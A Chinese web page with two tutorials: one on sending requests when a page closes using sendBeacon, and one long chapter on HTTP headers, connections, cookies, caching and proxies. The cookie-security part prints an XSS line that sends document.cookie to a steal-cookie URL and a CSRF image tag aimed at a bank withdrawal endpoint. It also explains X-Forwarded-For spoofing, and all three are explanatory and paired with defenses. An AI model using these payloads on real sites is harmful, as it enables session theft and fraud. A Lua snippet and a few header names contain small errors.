整合營銷服務商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          如何在頁面關閉或跳轉時優(yōu)雅的發(fā)送Ajax請求

          如何在頁面關閉或跳轉時優(yōu)雅的發(fā)送Ajax請求

          時候我們需要在用戶離開頁面的時候,做一些上報來記錄用戶行為或者埋點,又或者是發(fā)送到服務器的ajax請求。那如何保證請求能夠正確的送達就是一個很關鍵的點。下面我們就來介紹下應該如何操作:

          首先,要做事件監(jiān)聽

          瀏覽器有兩個事件可以用來監(jiān)聽頁面關閉,beforeunload和unload。

          beforeunload是在文檔和資源將要關閉的時候調用的, 這時候文檔還是可見的,并且在這個關閉的事件還是可以取消的。比如下面這種寫法就會讓用戶導致在刷新或者關閉頁面時候,有個彈窗提醒用戶是否關閉。

          window.addEventListener("beforeunload", function (event) {
          
           // Cancel the event as stated by the standard.
          
           event.preventDefault();
          
           // Chrome requires returnValue to be set.
          
           event.returnValue='';
          
          });

          unload則是在頁面已經(jīng)正在被卸載時發(fā)生,此時文檔所處的狀態(tài)是:

          1.所有資源仍存在(圖片,iframe等);

          2.對于用戶所有資源不可見;

          3.界面交互無效(window.open, alert, confirm 等);

          4.錯誤不會停止卸載文檔的過程。

          基于以上兩個方法就可以實現(xiàn)對頁面關閉的事件監(jiān)聽了,為了穩(wěn)妥,可以兩個事件都監(jiān)聽。然后對監(jiān)聽函數(shù)做處理,讓關閉事件只調用一次,比如用變量控制請求發(fā)送的次數(shù)。

          其次,發(fā)送請求

          有了上面的監(jiān)聽,事情只完成了一半,如果我們在監(jiān)聽中直接發(fā)送ajax請求,就會發(fā)現(xiàn)請求被瀏覽器abort了,無法發(fā)送出去。在頁面卸載的時候,瀏覽器并不能保證異步的請求能夠成功發(fā)出去。

          我們有幾種方式可以解決這個問題:

          方案1: 發(fā)送同步的ajax請求

          var oAjax=new XMLHttpRequest();
          
          oAjax.open('POST', url + '/user/register', false);//false表示同步請求
          
          oAjax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
          
          oAjax.onreadystatechange=function() {
           if (oAjax.readyState==4 && oAjax.status==200) {
           var data=JSON.parse(oAjax.responseText);
           } else {
           console.log(oAjax);
           }
          };
          
          oAjax.send('a=1&b=2');

          這種方式雖然有效,但是用戶需要等待請求結束才可以關閉頁面。對用戶的體驗不好。

          方案2:發(fā)送異步請求,并且在服務端忽略ajax的abort

          雖然異步請求會被瀏覽器abort,但是如果服務端可以忽略abort,仍然正常執(zhí)行,也是可以的。比如PHP有ignore_user_abort函數(shù)可以忽略abort。這樣需要改造后臺,一般不太可行。

          方案3:使用navigator.sendBeacon發(fā)送異步請求

          根據(jù)MDN的介紹:

          這個方法主要用于滿足 統(tǒng)計和診斷代碼 的需要,這些代碼通常嘗試在卸載(unload)文檔之前向web服務器發(fā)送數(shù)據(jù)。過早的發(fā)送數(shù)據(jù)可能導致錯過收集數(shù)據(jù)的機會。然而, 對于開發(fā)者來說保證在文檔卸載期間發(fā)送數(shù)據(jù)一直是一個困難。因為用戶代理通常會忽略在卸載事件處理器中產(chǎn)生的異步 XMLHttpRequest 。

          從介紹上可以看出,這個方法就是用來在用戶離開時發(fā)請求的。非常適合這種場景。 使用方式是這樣的:

          navigator.sendBeacon(url [, data]);

          sendBeacon支持發(fā)送的data可以是ArrayBufferView, Blob, DOMString, 或者 FormData 類型的數(shù)據(jù)。

          下面是幾種使用sendBeacon發(fā)送請求的方式,可以修改header和內容的格式,因為一般和服務器的通信方式都是固定的,如果修改了header或者內容,服務器就無法正常識別出來了。

          (1)使用Blob來發(fā)送 使用blob發(fā)送的好處是可以自己定義內容的格式和header。比如下面這種設置方式,就是可以設置content-type為application/x-www-form-urlencoded。

          blob=new Blob([`room_id=123`], {type : 'application/x-www-form-urlencoded'});
          navigator.sendBeacon("/cgi-bin/leave_room", blob);

          (2)使用FormData對象,但是這時content-type會被設置成"multipart/form-data"。

          var fd=new FormData();
          fd.append('room_id', 123);
          navigator.sendBeacon("/cgi-bin/leave_room", fd);

          (3)數(shù)據(jù)也可以使用URLSearchParams 對象,content-type會被設置成"text/plain;charset=UTF-8" 。

          var params=new URLSearchParams({ room_id: 123 })
          navigator.sendBeacon("/cgi-bin/leave_room", params);

          通過嘗試,可以發(fā)現(xiàn)使用blob發(fā)送比較方便,內容的設置也比較靈活,如果發(fā)送的消息抓包后發(fā)現(xiàn)后臺沒有識別出來,可以嘗試修改內容的string或者header,來找到合適的方式發(fā)送請求。

          參考文章:https://juejin.im/post/5c7e541b6fb9a049e06415a5

          文為《三萬長文50+趣圖帶你領悟web編程的內功心法》第四個章節(jié)。

          4、HTTP常用請求頭大揭秘

          上面列出了報文的各種請求頭、響應頭、狀態(tài)碼,是不是感到特別暈呢。這節(jié)我們就專門挑一些最常用的請求頭,舉例說明請求頭對應支撐的HTTP功能。

          4.1、數(shù)據(jù)類型、壓縮編碼,語言,內容協(xié)商和質量值

          我們來看一個最基本的HTTP交互。

          其中,GET表示方法,就不多說了。

          HostHost 請求頭指明了請求將要發(fā)送到的服務器主機名和端口號。Host讓虛擬主機托管成為了可能,也就是一個IP上提供多個Web服務。

          協(xié)商

          客戶端先發(fā)送Accept、Accept-Encoding、Accept-Language請求頭進行協(xié)商。其中:

          • Accept指明了客戶端可理解的MIME type,用“,”做分隔符,列出多個類型;
          • Appcep-Encoding指明客戶端可理解的壓縮格式;
          • Accept-Languate指明客戶端可理解的自然語言;

          可以給每個協(xié)商項指定質量值q。質量值從0~1,1最高,表示最期望服務器采用該類型,0表示拒絕接受該類型。

          協(xié)商結果

          服務端會在響應頭里面告知協(xié)商的結果:

          • Content-Type表示服務端實際采用的類型;
          • Content-Encoding表示服務端實際采用的壓縮格式,如果相應報文沒有該請求頭,則代表服務端沒有開啟壓縮;
          • Content-Language表示服務端實際采用的自然語言;

          服務端是怎么協(xié)商的

          服務端在客戶端請求中,用了哪些請求頭部信息進行協(xié)商的呢,這里需要用到Vary首部:

          Vary: *
          Vary: <header-name>, <header-name>, ...

          例如:

          Vary: User-Agent

          表示服務器依據(jù) User-Agent 字段,決定發(fā)回了響應報文。此場景常見于:對于不同的終端,返回的內容是不同的,那么就需要用 User-Agnet進行區(qū)分以及緩存了。

          更多協(xié)商信息:《HTTP權威指南》第17章 內容協(xié)商與轉碼[^12]

          字符集

          另外,客戶端和服務端也可以協(xié)商字符集:

          • 請求頭:Accept-Charset;
          • 響應頭:沒有單獨的響應頭,而是附加在Content-Type中:
            • Content-Type: text/html; charset=utf-8

          協(xié)商請求響應頭對應關系如下圖:

          4.2、分塊傳輸編碼、范圍請求和多段數(shù)據(jù)

          分塊傳輸響應頭:Transfer-Encoding: chunked。

          4.2.1、分塊傳輸編碼 Transfer-Encoding: chunked

          一般情況下,我們請求后端,都可以拿到靜態(tài)資源的完整Content-Length大小,一次性傳輸?shù)娇蛻舳恕?/p>

          對于動態(tài)頁面,也可以在后端一次性生成所有需要返回的內容,得到Content-Length大小,一次性傳輸?shù)娇蛻舳恕?/p>

          但是想象以下場景:Content-Encoding為gzip,服務端進行壓縮的時候,需要一塊很大的字節(jié)數(shù)組進行壓縮,最終得到整個數(shù)組的Content-Length。

          舉個例子:如下圖:

          客戶端需要向服務器請求獲取一串葡萄,最期望拿到一串新疆葡萄,可以使用gzip編碼。

          最終客戶端通過gzip,把葡萄壓縮成了葡萄干,一次性傳輸給了客戶端。客戶端拿到了所有的葡萄干,解壓回葡萄。

          至于葡萄干注水還原回葡萄的技術有待大家研究實現(xiàn),研究出來了可以分享給我,謝謝!

          可以發(fā)現(xiàn):服務端在壓縮的過程中很占緩存,只能等壓縮完成之后一次性傳輸,傳輸?shù)膬热蔟嫶螅查g占用網(wǎng)絡,如果帶寬不夠,就會導致消息延遲

          那么,這個時候,我們就可以使用分塊傳輸來優(yōu)化這個流程了:

          我們可以將葡萄一顆一顆的壓縮傳輸給客戶端一顆,這樣傳輸?shù)臅r候就不用占用太多內存,傳輸也不會瞬時占用太多帶寬了

          分塊傳輸編碼格式

          下面我們通過一個具體的請求來說明分塊傳輸編碼的響應格式。

          這里我們用OpenResty服務器,假設請求的服務端代碼是這樣的lua腳本:

          ngx.header['Content-Type']='text/plain;charset=utf-8'
          ngx.header['Transfer-Encoding']='chunked'
          for i=1,10 do
            ngx.print('第' + i + '顆葡萄\n')
            ngx.flush(true)
          end

          我們抓包來看看完整的TCP請求,圖片比較大,感興趣的同學放大查看:

          分析下TCP包:

          • 21~23:是TCP連接三次握手的過程;
          • 24:服務端通知客戶端窗口大小變更;
          • 25:也就是第一個高亮的行,發(fā)起HTTP請求,嘗試獲取一串葡萄;
          • 27~41:服務端分塊多次推送了一顆顆的葡萄給到客戶端;
          • 43:最終在HTTP應用層,拿到了完整的一串葡萄,10個Data chunk對應10顆葡萄:

          頁面展示如下:

          grape 1
          grape 2
          grape 3
          grape 4
          grape 5
          grape 6
          grape 7
          grape 8
          grape 9
          grape 10

          根據(jù)以上抓包的報文格式,可以得到最終的HTTP響應報文格式如下:

          注意:

          分塊傳輸和編碼只在HTTP/1.1版本中提供。

          HTTP/2不支持分塊傳輸,因為其本身提供的更加高級的流傳輸實現(xiàn)了類似的功能。

          4.2.2、范圍請求

          范圍請求響應頭:Accept-Ranges: bytes,有這個響應頭的,就表示當前響應的資源支持范圍請求。

          假設一個文件很大,我們想要獲取其中的一部分,這個時候就可以使用范圍請求了。范圍請求常用語實現(xiàn)以下功能更:

          • 看視頻,拖到某一個時間點進行加載;
          • 下載工具中的多線程分段下載;
          • 下載工具中高端斷點續(xù)傳,如果網(wǎng)絡不好,斷開連接了,等到重新連接之后,可以繼續(xù)獲取剩余部分內容。

          范圍請求頭

          確定了服務端支持范圍請求之后,客戶端在請求中使用Range請求頭,指定要接收的范圍即可,如:

          -- 格式:bytes=x-y,x y表示偏移量,從0開始
          -- 請求獲取前面11個字節(jié)
          Range: bytes=0-10
          -- 請求所有內容
          Range: bytes=10-
          -- 獲取文檔最后10個字節(jié)
          Range: bytes=-10

          服務端響應

          • 請求范圍不合法,返回狀態(tài)碼416: Range Not Satisfiable;
          • 請求合法,返回狀態(tài)碼206: Partial Content;
            • 響應頭添加:Content-Range: bytes x-y/length,表示本次實際響應的范圍

          舉個例子,我們請求IT宅首頁,如下:

          # 執(zhí)行以下請求:
          curl -i -H 'Range: bytes=0-15' https://www.itzhai.com
          # 結果如下:
          HTTP/1.1 206 Partial Content
          Server: nginx/1.16.1
          Date: Sun, 30 Aug 2020 02:22:59 GMT
          Content-Type: text/html
          Content-Length: 16
          Last-Modified: Fri, 01 May 2020 03:45:21 GMT
          Connection: keep-alive
          ETag: "5eab9b51-134ee"
          Content-Range: bytes 0-15/79086
          
          <!DOCTYPE html>

          多段數(shù)據(jù)

          范圍請求支持同時請求多段數(shù)據(jù),下面是一個例子:

          # 執(zhí)行以下請求:
          curl -i -H 'Range: bytes=0-15, 16-26' https://www.itzhai.com
          # 結果如下:
          HTTP/1.1 206 Partial Content
          Server: nginx/1.16.1
          Date: Sun, 30 Aug 2020 02:27:07 GMT
          Content-Type: multipart/byteranges; boundary=00000000000000000023
          Content-Length: 228
          Last-Modified: Fri, 01 May 2020 03:45:21 GMT
          Connection: keep-alive
          ETag: "5eab9b51-134ee"
          
          
          --00000000000000000023
          Content-Type: text/html
          Content-Range: bytes 0-15/79086
          
          <!DOCTYPE html>
          
          --00000000000000000023
          Content-Type: text/html
          Content-Range: bytes 16-26/79086
          
          <html class
          --00000000000000000023--

          響應格式如下:

          4.3、HTTP/1.1連接管理

          說到HTTP的連接,就不得不先說說TCP的連接管理了,我們來回顧下TCP的建立連接,傳輸數(shù)據(jù),關閉連接的過程[^13]:

          這里詳細流程就不說了,詳細參考我的上一篇關于網(wǎng)絡內功心法的文章[^13]。

          可以發(fā)現(xiàn)為了傳輸數(shù)據(jù),三次握手和四次揮手,分別消耗了1.5個RTT和2個RTT(Round-trip time RTT),假設建立起這個TCP連接就為了來回傳輸一次數(shù)據(jù),可以發(fā)現(xiàn)其利用率很低:

          1 / (1 + 1.5 + 2)=22%

          4.3.1、短連接的弊端

          如下圖:

          每次傳輸數(shù)據(jù),都需要建立新的鏈接,這種連接我們稱為短連接。

          由上面分析可知,短連接極大的降低了傳輸效率,每次有什么數(shù)據(jù)需要傳輸,都要重新進行三次握手和四次揮手。

          早期的HTTP是短連接的,或稱為無連接。

          4.3.2、為什么要有長連接

          為了解決效率問題,于是出現(xiàn)了長連接。由上面分析可知,短連接傳輸效率低,所以,自從HTTP/1.1開始,默認就支持了長連接,也稱為持久連接。

          所謂長連接,就是在跟服務端約定,本次創(chuàng)建的連接,后邊還會繼續(xù)用到。于是,這樣約定之后,TCP層通過TCP的keep-alive機制維持TCP連接。

          TCP如何維持連接呢,這里介紹系統(tǒng)內核的三個相關配置參數(shù):

          • net.ipv4.tcp_keepalive_intvl=15;

          • net. ipv4.tcp_keepalive_probes=5;

          • net.ipv4.tcp_keepalive_time=1800;

            當TCP連接閑置了tcp_keepalive_time秒之后,服務端就嘗試向客戶端發(fā)送偵測包,來判斷TCP連接狀態(tài),如果偵測后沒有收到ack反饋,那么在tcp_keepalive_intvl秒后再次嘗試發(fā)送偵測包,知道接收到ack反饋。一共會嘗試tcp_keepalive_probes次偵測請求。如果嘗試tcp_keepalive_probes次之后,依然沒有收到ack包,那么就會丟棄這個TCP連接了。

          使用長連接的HTTP協(xié)議,會在響應頭加入這個:

          Connection: keep-alive

          如下圖:

          客戶端和服務器一旦建立連接之后,可以一直復用這個連接進行傳輸。

          4.3.3、長連接問題

          4.3.3.1、如何避免長連接資源浪費

          如果建立長連接之后,一直不用,對于服務器來說是多么浪費資源呀。為此需要有關閉長連接的機制。

          場景的控制手段:

          • 系統(tǒng)內核參數(shù)設置:如上一節(jié)提到的幾個參數(shù);
          • 客戶端請求頭聲明
            • 請求頭聲明Connection: close,本次通信技術之后就關閉連接。
          • 服務端配置:如Nginx,設置
            • keepalive_timeout:設置長連接超時時間;
            • keepalive_requests:設置長連接請求次數(shù)上限。

          4.3.3.2、長連接的缺點

          我們可以建立起TCP長連接,但是HTTP/1.1是請求應答模型的,只要一個請求還沒有收到應答,當前TCP連接就不可以發(fā)起下一個請求,也就是HTTP請求隊頭阻塞:

          當前客戶端與服務端值創(chuàng)建了一個已連接套接字,即一個TCP連接,客戶端所有請求都通過這個TCP連接發(fā)送,由于request 1請求還沒有接收到應答,其他的request就不能發(fā)起請求了。

          為了減小請求阻塞等待的影響,于是人們考慮在同一個瀏覽器里面開啟多個TCP連接,這樣,即使一個TCP被阻塞了,還有另外的可以繼續(xù)發(fā)起請求。

          不過客戶端開太多TCP連接,會導致服務器承受更大的壓力。在RFC2616中限制客戶端最多并發(fā)兩個,但是目前大部分瀏覽器支持6個或者更多的并發(fā)連接數(shù)。

          為了進一步優(yōu)化前端加載請求,這個時期出現(xiàn)了很多各式的前端優(yōu)化小技巧,如:

          • 為了增加并發(fā)請求,做域名拆分,這樣就突破了瀏覽器對并發(fā)請求數(shù)的限制了;
          • CSS、JS等資源內聯(lián)到HTML中,或者進行資源合并,從而減少客戶端的并發(fā)請求數(shù);
          • 生成精靈圖,一次性傳輸所有小圖標,從而減少客戶端的并發(fā)請求數(shù);
          • 資源預取...

          不過,HTTP/2解決了HTTP請求的隊頭阻塞,有些原有的優(yōu)化在HTTP/2中則成為了反模式,如:域名拆分后需要建立多個域名的連接,精靈圖或者合并CSS、JS等導致不能更靈活的控制緩存...

          4.3.4、管道化長連接

          管道傳輸技術是在HTTP/1.1中引入的,在HTTP/1.0中不存在。

          HTTP管道傳輸技術可以在單個TCP連接上連續(xù)發(fā)送多個HTTP請求,而無需等待響應,截止2018年,由于一些問題(如錯誤的代理服務器和TCP隊頭阻塞),現(xiàn)代瀏覽器默認未啟用管道。

          引入了管道技術之后的長連接如下圖:

          多個HTTP請求可以連續(xù)發(fā)送出去,而不用等待已發(fā)送請求的響應,請求和響應都是通過FIFO隊列進行的。

          不過由于TCP是嚴格按照順序進行傳輸數(shù)據(jù)的,前面的TCP數(shù)據(jù)丟失,就會導致阻塞后續(xù)的分組數(shù)據(jù),這也就是TCP的隊頭阻塞。

          管道化長連接有何問題?

          根據(jù)上面的分析可知,HTTP管道有如下問題:

          • 慢響應會導致TCP隊頭阻塞(HOL blocking),影響后續(xù)請求;
          • 如果前面的某個響應失敗了,會導致TCP連接終止,那么未響應的請求都得重新進行發(fā)送了;
          • 如果請求鏈中有很多中間代理,代理對管道的兼容性則成為了問題,很有可能導致管道機制失效,因為大多數(shù)HTTP代理不通過管道進行傳輸;
          • 由于FIFO機制,導致有些請求被接收之后,還保持了不必要的很長的時間;
          • ...

          基于以上眾多問題,在所有主要瀏覽器中,只有Opera瀏覽器才在默認情況下啟用管道機制,其他瀏覽器基本默認不啟用管道機制。

          4.3.5、長連接如何改善

          我們知道,長連接有如下缺點:

          • 由于保持連接,影響服務器性能;
          • 可能發(fā)生隊頭阻塞,造成信息延遲。

          HTTP的多路復用技術支持多個請求同時發(fā)送,類似于多線程的并發(fā)機制,更充分的利用到了建立好的一個長連接。

          HTTP2相關特性我們后面再詳細介紹。

          4.4、HTTP/1.1的Cookie機制

          由于HTTP是無狀態(tài)的,于是出現(xiàn)Cookie和Session,為HTTP彌補了狀態(tài)存儲的問題。

          HTTP Cookie是服務器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù),它會在瀏覽器下次向同一服務器再發(fā)起請求時被攜帶并發(fā)送到服務器上。

          就像我們去公司報道,公司給你辦理了一張工卡,門口的保安大哥可不會記住哪些人是公司的,于是只能叫你出示工卡。如果把公司比作服務器的話,這張工卡就相當于Cookie,我們每次出示工卡給保安大哥,于是就驗證通過了。

          Cookie工作機制:瀏覽器請求服務器之后,服務器響應頭可以添加Set-Cookie字段,瀏覽器拿到Cookie之后,按域名區(qū)分存儲起來,下次請求同一個域名的服務器,通過Cookie請求頭傳給服務端,服務端則可以根據(jù)Cookie信息判斷到時之前請求的一個客戶端。

          Cookie關鍵屬性

          屬性名作用
          Expires過期時間,一個絕對的時間點
          Max-Age設置單位為秒的cookie生存期,瀏覽器優(yōu)先使用Max-Age
          Domain指定Cookie所屬的域名
          Path指定Cookie所屬的路徑前綴,瀏覽器在發(fā)起請求前,判斷瀏覽器Cookie中的Domain和Path是否和請求URI匹配,只有匹配才會附加Cookie
          HttpOnly指明該Cookie只能通過瀏覽器的HTTP協(xié)議傳輸,瀏覽器JS引擎將禁用document.cookie等api,從而避免被不壞好意的人拿到cookie信息。此預防措施有助于緩解跨站點腳本(XSS)攻擊。
          Secure指明只能通過被 HTTPS 協(xié)議加密過的請求發(fā)送給服務端,但即便設置了 Secure 標記,敏感信息也不應該通過 Cookie 傳輸,因為 Cookie 有其固有的不安全性,Secure 標記也無法提供確實的安全保障, 例如,可以訪問客戶端硬盤的人可以讀取它
          SameSiteSameSite=None: 瀏覽器會在同站請求、跨站請求下繼續(xù)發(fā)送 cookies,不區(qū)分大小寫
          SameSite=Strict:限定Cookie不能隨著跳轉連接跨站發(fā)送,只在訪問相同站點時發(fā)送 cookie
          SameSite=Lax:允許GET/HEAD等安全方法,禁止POST跨站點發(fā)送,在新版本瀏覽器中,為默認選項,Same-site cookies 將會為一些跨站子請求保留,如圖片加載或者 frames 的調用,但只有當用戶從外部站點導航到URL時才會發(fā)送

          4.4.1、Cookie常見安全問題

          XSS攻擊

          通過腳本注入,竊取Cookie,如:

          (new Image()).src="http://www.itzhai.com/steal-cookie?cookie=" + document.cookie;

          上面表格中提到的HttpOnly正是為了阻止JavaScript 對其的訪問性而能在一定程度上緩解此類攻擊。

          CSRF跨站請求偽造

          在不安全的聊天室或者論壇等,看到一張圖片,實際上他可能是請求了你的某個銀行的轉賬接口,讓你的錢轉到別人的賬上,如果打開了這個圖片,并且之前已經(jīng)登陸過銀行賬號,并且Cookie仍然有效,那么錢就有可能被轉走了。

          <img src="http://bank.test.com/withdraw?account=youraccount&amount=10000&for=arthinking">

          為此,常見對因對措施有:

          • 對用戶輸入進行XSS過濾;
          • 敏感的業(yè)務操作都需要添加各種形式的校驗:如密碼、短信驗證碼等;
          • 敏感信息Cookie設置有效期盡可能短...

          本文首次發(fā)表于: HTTP常用請求頭大揭秘 以及公眾號 Java架構雜談,未經(jīng)許可,不得轉載。

          4.5、HTTP緩存機制

          4.5.1、緩存請求指令

          客戶端可以用Cache-Control請求首部來強化或者放松對過期時間的限制。

          指令說明
          Cache-Control: max-age=<seconds>拒絕接受緩存時間長于seconds秒的資源,如果seconds為0,則表示請求獲取最新的資源;
          Cache-control: no-cache除非資源進行了再驗證,否則這個客戶端不會接受已緩存的資源;
          Cache-control: no-store緩存不應存儲有關客戶端請求或服務器響應的任何內容,即不使用任何緩存;
          Cache-control: only-if-cached表明客戶端只接受已緩存的響應,并且不要向原始服務器檢查是否有新的拷貝;
          Cache-control: no-transform不得對資源進行轉換或轉變。Content-EncodingContent-RangeContent-Type等HTTP頭不能由代理修改
          Cache-Control: max-stale[=<seconds>]表明客戶端愿意接收一個已經(jīng)過期的資源。可以設置一個可選的秒數(shù),表示響應不能已經(jīng)過時超過該給定的時間
          Cache-Control: min-fresh=<seconds>表示客戶端希望獲取一個能在指定的秒數(shù)內保持其最新狀態(tài)的響應

          4.5.2、緩存響應指令

          指令說明
          Cache-Control: max-age=<seconds>設置緩存存儲的最大周期,超過這個時間緩存被認為過期(單位秒)
          Cache-control: no-store緩存不應存儲有關客戶端請求或服務器響應的任何內容,即不使用任何緩存
          Cache-control: no-cache在發(fā)布緩存副本之前,強制要求緩存把請求提交給原始服務器進行驗證(協(xié)商緩存驗證)
          Cache-Control: must-revalidate一旦資源過期(比如已經(jīng)超過max-age),在成功向原始服務器驗證之前,緩存不能用該資源響應后續(xù)請求
          Cache-control: no-transform一旦資源過期(比如已經(jīng)超過max-age),在成功向原始服務器驗證之前,緩存不能用該資源響應后續(xù)請求
          Cache-control: public表明響應可以被任何對象(包括:發(fā)送請求的客戶端,代理服務器,等等)緩存,即使是通常不可緩存的內容。(例如:1.該響應沒有max-age指令或Expires消息頭;2. 該響應對應的請求方法是 POST 。)
          Cache-control: private表明響應只能被單個用戶緩存,不能作為共享緩存(即代理服務器不能緩存它)。私有緩存可以緩存響應內容,比如:對應用戶的本地瀏覽器
          Cache-control: proxy-revalidate與must-revalidate作用相同,但它僅適用于共享緩存(例如代理),并被私有緩存忽略
          Cache-control: s-maxage=<seconds>覆蓋max-age或者Expires頭,但是僅適用于共享緩存(比如各個代理),私有緩存會忽略它

          4.5.3、服務器再驗證

          指令說明
          If-Modified-Since: Date第一次響應報文提供Last-modified,第二次請求帶上這個值,給服務端驗證緩存是否有修改,無修改則返回:304 Not Modified
          If-None-Match: ETag第一次響應報文提供ETag,第二次請求帶上這個值,給服務端驗證緩存是否最新,無修改則返回:304 Not Modified,

          Last-modified和ETag有什么區(qū)別?

          有任何改動,ETag都會變動,但是同一秒內的改動,Last-modified是一樣的。

          4.6、HTTP代理

          想象一下我們傳統(tǒng)的三層架構,如果我們想統(tǒng)一把批量修改數(shù)據(jù)的SQL屏蔽掉,那么直接修改DAO層,統(tǒng)一攔截處理就可以了。類似的,網(wǎng)絡系統(tǒng)也是如此,在傳統(tǒng)的客戶端和服務端之間,可能會存在各種各樣的代理服務器,用于實現(xiàn)各種功能。

          常見的代理有兩種:普通代理-中間人代理,隧道代理。

          4.6.1、普通代理[^14]

          話不多說,我們直接上圖,說明一下代理的工作原理:

          代理既是服務器,又是客戶端

          代理工作原理:客戶端向代理發(fā)送請求,代理接收請求并與客戶端建立連接,然后轉發(fā)請求給服務器,服務器接收請求并與代理建立連接,最終把響應按原路返回。

          當然,實際的場景中,客戶端與服務器可能包含多個代理服務器。

          代理最常見到的請求頭

          RFC 7230中定義了Via,用于追蹤請求和響應消息轉發(fā)情況;RFC 7239中定義了X-Forwarded-For用于記錄客戶端請求的來源IP;X-Real-IP可以用于記錄客戶端實際請求IP,該請求頭不屬于任何標準。

          • Via**Via** 是一個通用首部,是由代理服務器添加的,適用于正向和反向代理,在請求和響應首部中均可出現(xiàn)。這個消息首部可以用來追蹤消息轉發(fā)情況,防止循環(huán)請求,以及識別在請求或響應傳遞鏈中消息發(fā)送者對于協(xié)議的支持能力;

          • X-Forwarded-For:每經(jīng)過一級代理(匿名代理除外),代理服務器都會把這次請求的來源IP追加在X-Forwarded-For中:

            • X-Forwarded-For: client, proxy1, proxy2
            • 注意:與服務器直連的代理的IP不會被追加到X-Forwarded-For中,該代理可以通過TCP連接的Remote Address字段獲取到與服務器直連的代理IP地址;

          • X-Real-IP:記錄與當前代理服務器建立TCP連接的客戶端的IP,一般通過$remote_addr獲取,這個IP是上一級代理的IP,如果沒有代理,則是客戶端的IP;

          一般我們在Nginx中會做如下配置:

          location / {
            proxy_set_header X-Real-IP $remote_addr; // 與服務器建立TCP連接的客戶端的IP作為X-Real-IP
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; // 追加請求的來源IP
            ...
          }

          假設我們所有的代理都按照如上設置,那么請求頭變化情況則如下:

          客戶端IP偽造

          注意,X-Forwarded-For是可以偽造的,一些通過X-Forwarded-For獲取到的客戶端IP來限制刷投票的系統(tǒng)就可以通過偽造該請求頭來打到刷票的效果,如果客戶端請求顯示指定了X-Forwarded-For

          X-Forwarded-For: 192.168.1.2

          那么,服務器接收到的該請求頭,第一個IP就是這個偽造的IP了。

          如何防范IP偽造?

          方法一:在對外Nginx服務器上配置:

          proxy_set_header X-Forwarded-For $remote_addr;

          這樣,第一個IP就是從TCP連接的客戶端IP地址了,不會讀取客戶端偽造的X-Forwarded-For。

          方法二:從右到左遍歷X-Forwarded-For的IP,剔除已知代理服務器IP和內網(wǎng)IP,獲取到第一個符合條件的IP。

          正向代理和反向代理

          工作在客戶端的代理我們稱為正向代理。使用正向代理的時候,需要在客戶端配置使用的代理服務器,正向代理對服務端透明。我們常用的Fiddler、charles抓包工具,以及訪問一些外網(wǎng)網(wǎng)站的代理工具就屬于正向代理。

          如下圖:

          正向代理通常用于:

          • 緩存;
          • 屏蔽某些不健康的網(wǎng)站;
          • 通過代理訪問原本無法訪問的網(wǎng)站;
          • 上網(wǎng)認證,對用于進行訪問授權...

          工作在服務端的代理我們稱為反向代理。使用反向代理的時候,無需在客戶端進行設置,反向代理對客戶端透明。反向代理(Reverse Proxy)這個名詞有點讓人摸不著頭腦,不過就這么叫吧,我們常用的nginx就是屬于反向代理。

          如下圖:

          通用把80作為http的端口,把433端口作為https的端口。

          反向代理通常用于:

          • 負載均衡;
          • 服務端緩存;
          • 流量隔離;
          • 日志;
          • 金絲雀發(fā)布...

          代理中的持久連接

          Connection請求頭

          我們得先介紹下Connection請求頭字段。

          在各個代理和服務器、客戶端節(jié)點之間的是一段一段的TCP連接,客戶端通過中間代理,訪問目標服務器的過程也叫逐段傳輸,用于逐段傳輸?shù)恼埱箢^被稱為逐段傳輸頭。

          逐段傳輸頭會在每一段傳輸?shù)闹虚g代理中處理掉,不會往下傳輸給下一個代理。

          標準的逐段傳輸頭有:Keep-Alive, Transfer-Encoding, TE, Connection, Trailer, Upgrade, Proxy-AuthorizationProxy-Authenticate

          Connection 頭(header) 決定當前的事務完成后,是否會關閉網(wǎng)絡連接。如果該值是“keep-alive”,網(wǎng)絡連接就是持久的,不會關閉,使得對同一個服務器的請求可以繼續(xù)在該連接上完成。

          除此之外,除了標準的逐段傳輸頭,任何逐段傳輸頭都需要在Connection頭中列出,這樣才能夠讓請求的代理知道并處理掉它們并且不轉發(fā)這些頭,當然,標準的逐段傳輸頭也可以列出。

          有了這個Connection頭,代理就知道要處理掉哪些請求頭了, 比如代理會處理掉Keep-Alive,根據(jù)自己的實際情況看看是否支持Keep-Alive,如果不支持,就不會繼續(xù)往下傳了。

          Nginx keep-alive

          比如,Nginx作為反向代理,可以為其設置keep-alive機制,nginx開啟了keep-alive的時候,連接是這樣的 :

          Nginx中關于keep-alive[^16]的設置:

          • keepalive: 設置連接池最大的空閑連接數(shù)量;
          • keepalive_timeout: 設置客戶端連接超時時間,為0的時候表示禁用長連接;
          • keepalive_requests: 設置一個長連接上可以服務的最大請求數(shù)量。
          古老的代理如何處理持久連接

          網(wǎng)絡是復雜的,特別是加入了很多代理之后,假如客戶端想要發(fā)起持久連接,而中間某些古老的代理服務器,可能不認識Connection頭,也不支持持久連接,會出現(xiàn)什么情況呢?

          如上圖,中間的兩臺代理不認識Connection: keep-alive,于是直接轉發(fā)了,最終服務器收到這個頭,以為proxy2要和他建立持久連接,于是響應了Connection: keep-alive,代理服務器轉發(fā)回給客戶端,客戶端以為建立成功了長連接,于是繼續(xù)使用這個連接發(fā)送消息,可是中間的代理在處理完請求響應之后,早就已經(jīng)把TCP連接給關閉了,從而最終導致瀏覽器請求連接超時。

          為了避免這類問題,有時候服務器會選擇直接忽略HTTP/1.0的Keep-Alive特性,也就是不使用持久連接,也不會返回Keep-Alive給客戶端。

          4.6.2、隧道代理[^15]

          HTTP客戶端可以通過CONNECT方法請求隧道代理創(chuàng)建一個到人任意目標服務器和端口號的TCP連接,連接創(chuàng)建完成之后,后續(xù)隧道代理只做請求和響應數(shù)據(jù)的轉發(fā),就像一條隧道一樣,這也是隧道代理名字的由來。

          為什么需要隧道代理?

          想象以下,我們要請求的HTTPS服務中間經(jīng)過了代理,我們是不是 要先讓客戶端跟代理服務器建立HTTPS連接呢?顯然這樣是無法實現(xiàn)的,因為中間代理沒有網(wǎng)站的私鑰證書,所以最終導致瀏覽器和代理之間的TLS無法創(chuàng)建。

